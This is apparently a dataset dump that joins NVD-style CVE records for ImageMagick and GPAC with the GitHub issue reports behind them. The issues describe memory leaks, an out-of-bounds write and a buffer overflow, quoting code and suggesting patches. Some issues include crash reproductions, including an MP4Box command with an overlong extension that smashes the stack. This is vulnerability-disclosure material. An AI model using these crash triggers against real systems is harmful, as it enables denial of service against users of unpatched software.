bug or feature --> potential memory leak in ReadSIXELImage in sixel.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The first critical code snippet is: https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L539 ```c if (imsx > max_x \|\| imsy > max_y) { // line 539 dmsx = max_x; dmsy = max_y; if (SetImageExtent(image,dmsx,dmsy,exception) == MagickFalse) { imbuf = (unsigned char ) RelinquishMagickMemory(imbuf); return (MagickFalse); } if ((dmbuf = (unsigned char ) AcquireQuantumMemory(dmsx , dmsy)) == NULL) { //line 547 imbuf = (unsigned char ) RelinquishMagickMemory(imbuf); return (MagickFalse); } for (y = 0; y < dmsy; ++y) { (void) memcpy(dmbuf + dmsx y, imbuf + imsx * y, dmsx); } imbuf = (unsigned char ) RelinquishMagickMemory(imbuf); imsx = dmsx; imsy = dmsy; imbuf = dmbuf; //line 557 } pixels = imbuf; //line 560 pwidth = imsx; pheight = imsy; ncolors = max_color_index + 1; palette = (unsigned char ) AcquireQuantumMemory(ncolors,4); // line 564 if (palette == (unsigned char ) NULL) return(MagickFalse); // line 566 ``` When condition at line 539 is satisfied and dmbuf is successfully allocated at line 547, the value of dmbuf is assigned to imbuf at line 557 and is finally assigned to the pointer parameter pixels at line 560 (i.e. the buf's address is passed outside to the caller function). Now, when the allocation at line 564 failed, the function will return MagickFalse at line 566. Next, I searched the whole project code and only found one call to sixel_decode which locates in function ReadSIXELImage in sixel.c at line 1057 as the following. The local variable sixel_pixels holds the value of dmbuf. https://github.com/ImageMagick/ImageMagick/blob/master/coders/sixel.c#L1057 ```c if (sixel_decode(image,(unsigned char ) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) // line 1057 { sixel_buffer=(char ) RelinquishMagickMemory(sixel_buffer); ThrowReaderException(CorruptImageError,"CorruptImage"); } sixel_buffer=(char ) RelinquishMagickMemory(sixel_buffer); image->depth=24; image->storage_class=PseudoClass; status=SetImageExtent(image,image->columns,image->rows,exception); if (status == MagickFalse) { sixel_pixels=(unsigned char ) RelinquishMagickMemory(sixel_pixels); // line 1068 sixel_palette=(unsigned char ) RelinquishMagickMemory(sixel_palette); return(DestroyImageList(image)); } ``` However, when function sixel_decode* returned MagickFalse as described above, the memory pointed by sixel_pixels (i.e. the memory allocated at line 547) was not freed as done at line 1068. As a result, a memory leak happens. Patch Suggestion: ```c if (sixel_decode(image,(unsigned char ) sixel_buffer,&sixel_pixels,&image->columns,&image->rows,&sixel_palette,&image->colors,exception) == MagickFalse) { sixel_buffer=(char ) RelinquishMagickMemory(sixel_buffer); + sixel_pixels=(unsigned char *) RelinquishMagickMemory(sixel_pixels); ThrowReaderException(CorruptImageError,"CorruptImage"); } ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE	Potential Memory Leak in ReadSIXELImage in coders/sixel.c	https://api.github.com/repos/ImageMagick/ImageMagick/issues/1452/comments	2	2019-01-17T04:06:51Z	2019-03-11T01:54:07Z	https://github.com/ImageMagick/ImageMagick/issues/1452	400,102,085	1,452
CVE-2019-7397	2019-02-05T00:29:00.510	In ImageMagick before 7.0.8-25 and GraphicsMagick through 1.3.31, several memory leaks exist in WritePDFImage in coders/pdf.c.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": 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null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:19.04:::::::", "matchCriteriaId": "CD783B0C-9246-47D9-A937-6144FE8BFF0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ImageMagick/ImageMagick/issues/1454	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "ImageMagick", "ImageMagick" ]	### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> Potential memory leak in function WritePDFImage in coders/pdf.c, which is similar to but different from #576. ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> xref is allocated at line [L1362](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362) or reallocated at line [L1499](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1499). ```c 1362: xref=(MagickOffsetType ) AcquireQuantumMemory(2048UL,sizeof(xref)); 1499: xref=(MagickOffsetType ) ResizeQuantumMemory(xref,(size_t) count+2048UL, sizeof(xref)); ``` However, when the function returns with MagickFalse (such as [L1902](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1902) and [L1912](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1912)), xref was neither passed outside to the caller function nor freed. I believe the two positions needs to free xref because xref is freed at the default case at [L1931](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1931) while the 2 positions locates in another 2 cases of a switch statement. So memory leak can happen at line 1902 and 1912. There are many similar positions including [L1965](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1965), [L2011](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2011), [L2021](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2021), [L2082](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2082), [L2179](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2179), [L2427](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L1362), [L2437](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2437), [L2488](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2488), [L2529](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2529), [L2539](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2539), [L2594](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2594), [L2682](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2682) and [L2894](https://github.com/ImageMagick/ImageMagick/blob/master/coders/pdf.c#L2894). ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 + VS Code - Additional information: code review <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu of VARAS of IIE	Potential Memory Leak in WritePDFImage in coders/pdf.c different from #576	https://api.github.com/repos/ImageMagick/ImageMagick/issues/1454/comments	2	2019-01-17T11:10:56Z	2019-02-12T01:46:36Z	https://github.com/ImageMagick/ImageMagick/issues/1454	400,226,040	1,454
CVE-2019-7398	2019-02-05T00:29:00.570	In ImageMagick before 7.0.8-25, a memory leak exists in WriteDIBImage in coders/dib.c.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Broken Link", "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00034.html" }, { "source": "[email protected]", "tags": [ "Broken Link" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00006.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106848" }, { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/ImageMagick/ImageMagick/issues/1453" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/4034-1/" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2020/dsa-4712" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "E982CE9C-89F7-4A5D-B036-A9A483493D5B", "versionEndExcluding": "6.9.10-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:imagemagick:imagemagick::::::::", "matchCriteriaId": "2F7DF2A1-ADDE-48C4-BD39-CCA15D0D767A", "versionEndExcluding": "7.0.8-25", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "7.0.0-0", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:opensuse:leap:15.0:::::::", "matchCriteriaId": "F1E78106-58E6-4D59-990F-75DA575BFAD9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:10.0:::::::", "matchCriteriaId": "07B237A9-69A3-4A9C-9DA0-4E06BD37AE73", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:19.04:::::::", "matchCriteriaId": "CD783B0C-9246-47D9-A937-6144FE8BFF0F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ImageMagick/ImageMagick/issues/1453	[ "Exploit", "Patch", "Third Party Advisory" ]	github.com	[ "ImageMagick", "ImageMagick" ]	### Prerequisites - [x] I have written a descriptive issue title - [x] I have verified that I am using the latest version of ImageMagick - [x] I have searched [open](https://github.com/ImageMagick/ImageMagick/issues) and [closed](https://github.com/ImageMagick/ImageMagick/issues?q=is%3Aissue+is%3Aclosed) issues to ensure it has not already been reported ### Description <!-- A description of the bug or feature --> memory leak in WriteDIBImage in coders/dib.c ### Steps to Reproduce <!-- List of steps, sample code, failing test or link to a project that reproduces the behavior. Make sure you place a stack trace inside a code (```) block to avoid linking unrelated issues --> The critical code snippets are: https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1330 ```c if (dib_info.bits_per_pixel == 8) //line 1330 if (image_info->compression != NoCompression) //line 1331 { size_t length; /* Convert run-length encoded raster pixels. / length=2UL(bytes_per_line+2UL)+2UL; dib_data=(unsigned char ) AcquireQuantumMemory(length, // line 1340 (image->rows+2UL)sizeof(dib_data)); if (dib_data == (unsigned char ) NULL) { pixels=(unsigned char ) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } dib_info.image_size=(unsigned int) EncodeImage(image,bytes_per_line, pixels,dib_data); pixels=(unsigned char ) RelinquishMagickMemory(pixels); pixels=dib_data; // line 1350 dib_info.compression = BI_RLE8; } ``` and https://github.com/ImageMagick/ImageMagick/blob/master/coders/dib.c#L1367 ```c if (image->storage_class == PseudoClass) //line 1367 { if (dib_info.bits_per_pixel <= 8) //line 1369 { unsigned char dib_colormap; / Dump colormap to file. / dib_colormap=(unsigned char ) AcquireQuantumMemory((size_t) (1UL << dib_info.bits_per_pixel),4sizeof(dib_colormap)); if (dib_colormap == (unsigned char ) NULL) // line 1379 ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); // line 1380 q=dib_colormap; ``` According to the code in function WriteDIBImage before line 1330, when image->storage_class* is not DirectClass (i.e. storage class is PseudoClass) and image_info->depth<=8, dib_info.bits_per_pixel can be equal to 8 (at line 1151-1155), as a result, dib_info.compression will be BI_RGB (at line 1164-1165). So the 4 conditions at line 1330, 1331, 1367 and 1369 can be satisfied at the same time in some setting. When the 4 conditions are satisfied and dib_data is successfully allocated at line 1340, dib_data will be assigned to pixels at line 1350. However, when the allocation at line 1377 fails, the function don't free dib_data memory as done at line 1410 before returning with exception at line 1378. As a result, a memory leak will happen. The size of leaked memory is 4((image->columnsdib_info.bits_per_pixel+31)/32)(image->rows+2UL)sizeof(dib_data) = (image->columns + 4) (image->rows + 2) * sizeof(dib_data), which may be a large value. (ps. dib_info.bits_per_pixel is 8) Patch Suggestion: ```c dib_colormap=(unsigned char ) AcquireQuantumMemory((size_t) // line 1377 (1UL << dib_info.bits_per_pixel),4sizeof(dib_colormap)); if (dib_colormap == (unsigned char ) NULL) { pixels=(unsigned char ) RelinquishMagickMemory(pixels); ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); } q=dib_colormap; ``` ### System Configuration <!-- Tell us about the environment where you are experiencing the bug --> - ImageMagick version: ImageMagick-4f0ea40e2a090e245f31d1f05247520d6e7eb4ca - Environment (Operating system, version and so on): Ubuntu 16.04 - Additional information: <!-- Thanks for reporting the issue to ImageMagick! --> Credit to Bingchang Liu at VARAS of IIE	Potential Memory Leak in WriteDIBImage in coders/dib.c	https://api.github.com/repos/ImageMagick/ImageMagick/issues/1453/comments	2	2019-01-17T06:50:47Z	2019-02-12T01:46:59Z	https://github.com/ImageMagick/ImageMagick/issues/1453	400,133,504	1,453
CVE-2018-20760	2019-02-06T23:29:00.230	In GPAC 0.7.1 and earlier, gf_text_get_utf8_line in media_tools/text_import.c in libgpac_static.a allows an out-of-bounds write because a certain -1 return value is mishandled.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/4c1360818fc8948e9307059fba4dc47ba8ad255d" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1177" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:gpac:gpac::::::::", "matchCriteriaId": "085CE50F-C216-47FB-A0A6-00BE575E4B4F", "versionEndExcluding": null, "versionEndIncluding": "0.7.1", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/gpac/gpac/issues/1177	[ "Exploit", "Third Party Advisory" ]	github.com	[ "gpac", "gpac" ]	In gf_text_get_utf8_line function, gf_utf8_wcstombs return -1 with crafted srt file, it will cause szLineConv[i] = 0 out of bound write root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# gdb ./MP4Box GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.3) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MP4Box...done. (gdb) set args -add crafted.srt overview.mp4 (gdb) r Starting program: /opt/niugx/cov_product/gpac/gpac-master/bin/gcc/MP4Box -add crafted.srt overview.mp4 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) Program received signal SIGBUS, Bus error. 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 272 szLineConv[i] = 0; (gdb) bt #0 0x00007ffff79b2eeb in gf_text_get_utf8_line (szLine=0x7fffffff4d80 "0", lineSize=2048, txt_in=0x66c4e0, unicode_type=2) at media_tools/text_import.c:272 #1 0x00007ffff79b39c6 in gf_text_import_srt (import=0x7fffffff6030) at media_tools/text_import.c:429 #2 0x00007ffff79bd165 in gf_import_timed_text (import=0x7fffffff6030) at media_tools/text_import.c:2644 #3 0x00007ffff7933f09 in gf_media_import (importer=0x7fffffff6030) at media_tools/media_import.c:10619 #4 0x000000000043727a in import_file (dest=0x65d010, inName=0x7fffffffe7f6 "crafted.srt", import_flags=0, force_fps=0, frames_per_sample=0) at fileimport.c:685 #5 0x000000000041bdac in mp4boxMain (argc=4, argv=0x7fffffffe578) at main.c:4177 #6 0x000000000042215e in main (argc=4, argv=0x7fffffffe578) at main.c:5695 (gdb)	OOB issue of gf_text_get_utf8_line	https://api.github.com/repos/gpac/gpac/issues/1177/comments	4	2018-12-13T10:41:00Z	2022-08-25T08:25:32Z	https://github.com/gpac/gpac/issues/1177	390,618,242	1,177
CVE-2018-20761	2019-02-06T23:29:00.293	GPAC version 0.7.1 and earlier has a Buffer Overflow vulnerability in the gf_sm_load_init function in scene_manager.c in libgpac_static.a.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1186" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:gpac_project:gpac::::::::", "matchCriteriaId": "B4ED3B4A-F8B8-4E70-BDF7-811129A50B0F", "versionEndExcluding": null, "versionEndIncluding": "0.7.1", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:16.04::::lts:::", "matchCriteriaId": "F7016A2A-8365-4F1A-89A2-7A19F2BCAE5B", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.04::::lts:::", "matchCriteriaId": "23A7C53F-B80F-4E6A-AFA9-58EEA84BE11D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:canonical:ubuntu_linux:18.10:::::::", "matchCriteriaId": "07C312A0-CD2C-4B9C-B064-6409B25C278F", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/gpac/gpac/issues/1186	[ "Exploit", "Third Party Advisory" ]	github.com	[ "gpac", "gpac" ]	There is a buffer overflow issue in gf_sm_load_init () function, scene_manager.c GF_Err gf_sm_load_init(GF_SceneLoader load) { …… ext = (char )strrchr(load->fileName, '.'); if (!ext) return GF_NOT_SUPPORTED; if (!stricmp(ext, ".gz")) { char anext; ext[0] = 0; anext = (char )strrchr(load->fileName, '.'); ext[0] = '.'; ext = anext; } strcpy(szExt, &ext[1]); // buffer overflow here. …… } root@ubuntu:/opt/niugx/cov_product/gpac/gpac-master/bin/gcc# ./MP4Box -inctx inScene.exttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt -out output.txt -add overview.srt overview.mp4 Timed Text (SRT) import - text track 580 x 436, font Serif (size 18) * stack smashing detected *: ./MP4Box terminated Aborted (core dumped)	buffer overflow issue 3#	https://api.github.com/repos/gpac/gpac/issues/1186/comments	3	2018-12-22T02:44:19Z	2022-08-25T08:33:41Z	https://github.com/gpac/gpac/issues/1186	393,636,374	1,186
CVE-2018-20762	2019-02-06T23:29:00.370	GPAC version 0.7.1 and earlier has a buffer overflow vulnerability in the cat_multiple_files function in applications/mp4box/fileimport.c when MP4Box is used for a local directory containing crafted filenames.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/commit/35ab4475a7df9b2a4bcab235e379c0c3ec543658" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/gpac/gpac/issues/1187" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00040.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://usn.ubuntu.com/3926-1/" } ]	[ { "nodes": [ { "cpeMatch": 